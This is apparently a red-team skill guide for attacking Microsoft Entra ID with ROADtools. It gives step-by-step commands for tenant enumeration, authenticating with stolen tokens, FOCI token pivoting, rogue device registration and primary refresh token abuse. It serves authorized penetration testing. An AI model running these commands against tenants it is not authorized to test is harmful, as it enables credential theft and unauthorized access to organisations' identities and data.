Attacking Entra Id With Roadtools

---
name: attacking-entra-id-with-roadtools
description: Enumerate Microsoft Entra ID (Azure AD) tenants with ROADrecon and
  acquire, exchange, and abuse tokens (including primary refresh tokens) with roadtx.
  Use for authorized red-team enumeration of a tenant's directory objects or for
  token-based identity attacks against Entra ID you are explicitly authorized to
  test.
domain: cybersecurity
subdomain: identity-access-management
tags:
- red-team
- entra-id
- azure-ad
- roadtools
- token-manipulation
- cloud-enumeration
- primary-refresh-token
- identity-attack
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- ID.AM-03
mitre_attack:
- T1087.004
---
# Attacking Entra ID with ROADtools

> **Authorized use only:** ROADtools interacts with live Microsoft Entra ID (Azure AD) tenants and can register devices, mint and exchange tokens, and enumerate directory objects. Use it solely against tenants you own or are explicitly authorized in writing to test. Unauthorized access to a cloud tenant is illegal.

## Overview

ROADtools (by Dirk-jan Mollema) is the de facto offensive toolkit for Microsoft Entra ID. It has two main components:

- **ROADrecon** — authenticates to Entra ID, *gathers* the full directory into a local SQLite database via the Azure AD Graph API, and serves an Angular GUI to explore users, groups, roles, applications, service principals, conditional-access policies, and device objects offline. A plugin system exports to BloodHound and analyzes CA policies.
- **roadtx (ROADtools Token eXchange)** — acquires and exchanges Entra-issued tokens across the many OAuth flows (ROPC, device code, auth-code, refresh-token exchange, app/federated app), performs device registration, and handles Primary Refresh Token (PRT) operations including PRT-based SSO and cookie minting. Its FOCI (Family of Client IDs) awareness lets a refresh token for one first-party client be redeemed for another resource.

Together they cover the **Discovery** phase against cloud identity: enumerate the tenant (T1087.004 Account Discovery: Cloud Account) and obtain/manipulate the tokens needed to reach Microsoft Graph, Azure Resource Manager, and other resources. ROADrecon's offline database makes recon stealthy and fast; roadtx makes token theft, PRT abuse, and cross-resource pivoting practical.

## When to Use

- During an authorized Azure / Entra ID red-team or cloud penetration test.
- When you have a foothold credential, refresh token, or PRT and need to enumerate the tenant.
- When you must pivot a token from one resource (e.g., Azure CLI) to another (e.g., Microsoft Graph).
- When validating that conditional-access, device-compliance, and token controls actually constrain an attacker.
- When mapping Entra attack paths (export to BloodHound for graph analysis).

## Prerequisites

- Written authorization and defined scope for the target tenant.
- A starting credential: username/password (no MFA flows), a device code session, a refresh/access token, or a registered device's PRT.
- Python 3.7+ (roadtx Selenium flows need a matching geckodriver/Firefox).

```bash
# Core install (roadlib is a shared dependency, pulled in automatically)
python -m pip install roadrecon
python -m pip install roadtx
# Verify
roadrecon --help
roadtx --help
```

## Objectives

- Authenticate to Entra ID via the appropriate flow (device code preferred for MFA).
- Gather the full directory with ROADrecon and analyze it in the GUI.
- Export the directory to BloodHound and run CA-policy analysis plugins.
- Acquire tokens with roadtx and exchange refresh tokens across resources/clients.
- Demonstrate PRT-based SSO and document the resulting access.

## MITRE ATT&CK Mapping

| ID | Tactic | Official Technique Name | Role in this skill |
|----|--------|-------------------------|--------------------|
| T1087.004 | Discovery | Account Discovery: Cloud Account | ROADrecon enumerates tenant users/accounts |
| T1069.003 | Discovery | Permission Groups Discovery: Cloud Groups | ROADrecon enumerates Entra groups and roles |
| T1538 | Discovery | Cloud Service Dashboard | GUI exploration of tenant configuration |
| T1550.001 | Defense Evasion / Lateral Movement | Use Alternate Authentication Material: Application Access Token | roadtx refresh-token exchange across resources |
| T1528 | Credential Access | Steal Application Access Token | roadtx PRT/token acquisition |

## Workflow

### Step 1: Authenticate with ROADrecon

Pick the flow that matches your foothold. Device code supports MFA; ROPC (-u/-p) does not.

```bash
# Username/password (legacy, no MFA)
roadrecon auth -u user@tenant.onmicrosoft.com -p 'Password123!'

# Device-code flow (supports MFA)
roadrecon auth --device-code

# From a stolen access or refresh token
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>

# From a PRT (with session key) for SSO-grade access
roadrecon auth --prt <prt> --prt-sessionkey <session_key>
```
Authentication writes `.roadtools_auth` in the working directory.

### Step 2: Gather the directory

```bash
# Full gather into roadrecon.db (default)
roadrecon gather

# Include MFA/auth-method details (requires a privileged role)
roadrecon gather --mfa
```

### Step 3: Explore in the GUI

```bash
roadrecon gui
# Browse to http://127.0.0.1:5000 — users, groups, roles, applications,
# service principals, devices, and conditional-access policies, all offline.
```

### Step 4: Run analysis plugins

```bash
# Analyze conditional-access policies
roadrecon plugin policies -h
roadrecon plugin policies

# Export the gathered data to a BloodHound-importable format
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound
```

### Step 5: Acquire tokens with roadtx

```bash
# ROPC: get a Microsoft Graph token for the Azure CLI client
roadtx gettokens -u user@tenant.com -p 'Password123!' -c azcli -r msgraph

# Device-code style interactive auth for the Teams client to Graph
roadtx interactiveauth -c msteams -r msgraph

# From an existing refresh token
roadtx gettokens --refresh-token <refresh_token> -r msgraph
```
Tokens are written to `.roadtools_auth` (use `--tokens-stdout` to print).

### Step 6: Exchange refresh tokens across resources (FOCI pivot)

A FOCI refresh token obtained for one first-party client can be redeemed for another resource without re-auth.

```bash
# Convert the stored refresh token to an Azure Resource Manager token
roadtx refreshtokento -r azrm

# Convert to a scoped Graph token via the Teams client
roadtx refreshtokento -c msteams -r msgraph

# Find which first-party clients hold a given scope
roadtx getscope -s https://graph.microsoft.com/mail.read --foci
```

### Step 7: Device registration and PRT-based SSO

```bash
# Register a (virtual) device to the tenant
roadtx device -n redteam-device

# Request a PRT using the device cert/key and user creds
roadtx prt -u user@tenant.com -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem

# Use the PRT to authenticate a client to a resource (SSO-grade)
roadtx prtauth -c msteams -r msgraph

# Enrich a PRT with an interactive MFA claim
roadtx prtenrich -u user@tenant.com
```

### Step 8: Inspect tokens

```bash
# Decode and print claims of the stored / a supplied token
roadtx describe -t <JWT>
roadtx describe < .roadtools_auth | jq .
```

## Tools and Resources

| Tool | Purpose | Primary Source |
|------|---------|----------------|
| ROADtools (repo) | Toolkit overview + wiki | https://github.com/dirkjanm/ROADtools |
| ROADrecon wiki | Auth/gather/gui/plugin usage | https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon |
| roadtx wiki | Token exchange + PRT/device flows | https://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx) |
| BloodHound CE | Graph analysis of exported Entra data | https://github.com/SpecterOps/BloodHound |
| Microsoft identity platform | Token/flow reference | https://learn.microsoft.com/entra/identity-platform/ |

## Validation Criteria

- [ ] Authenticated to the target tenant via an authorized flow; `.roadtools_auth` created.
- [ ] Directory gathered into `roadrecon.db` (with `--mfa` where role allows).
- [ ] GUI explored; users, groups, roles, apps, CA policies reviewed.
- [ ] CA-policy and BloodHound plugins executed; data exported.
- [ ] Tokens acquired with roadtx for at least one resource.
- [ ] Refresh-token exchange to a second resource demonstrated (FOCI pivot).
- [ ] Device registered and PRT-based SSO demonstrated (where in scope).
- [ ] Token claims inspected with `roadtx describe`.
- [ ] Findings and access documented for the engagement report.